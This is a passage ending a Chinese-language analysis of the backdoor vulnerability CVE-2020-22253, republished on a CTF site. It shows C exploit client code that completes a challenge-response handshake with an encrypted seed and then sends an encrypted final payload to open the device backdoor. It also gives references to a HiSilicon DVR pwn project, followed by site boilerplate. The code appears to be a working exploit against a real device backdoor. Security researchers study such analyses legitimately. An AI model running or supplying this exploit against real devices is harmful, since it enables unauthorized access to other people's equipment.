perror("send");
return 1;
}
printf("Sent %s command.n", CMD_FIRST);
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) {
fprintf(stderr, "No challenge received.n");
return 3;
}

char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1;
char challengeStr[strlen(seed) + strlen(argv[2]) + 1];
size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]);
printf("challenge=%sn", challengeStr);

char encryptedRandomSeed[PADDED(challengeLen)];
encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen);
memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1);
memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen));
if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) {
perror("send");
return 1;
}
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) {
fprintf(stderr, "Verification failed.n");
return 4;
}
char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))];
encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen);
memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1);
memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal));
if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) {
perror("send");
return 1;
}
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) {
fprintf(stderr, "Open failed.n");
return 5;
}

return 0;
}



参考文章


https://github.com/tothi/pwn-hisilicon-dvr#summary

https://www.4hou.com/posts/mGYE

https://github.com/tothi/pyDes/blob/master/pyDes.py




CVE-2020-22253后门漏洞分析


看雪ID:愿风载尘

https://bbs.kanxue.com/user-home-937578.htm

*本文为看雪论坛优秀文章,由 愿风载尘 原创,转载请注明来自看雪社区

CVE-2020-22253后门漏洞分析

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


CVE-2020-22253后门漏洞分析


CVE-2020-22253后门漏洞分析

球分享

CVE-2020-22253后门漏洞分析

球点赞

CVE-2020-22253后门漏洞分析

球在看

原文始发于微信公众号(看雪学苑):CVE-2020-22253后门漏洞分析

版权声明:admin 发表于 2023年8月23日 下午6:04。
转载请注明:CVE-2020-22253后门漏洞分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...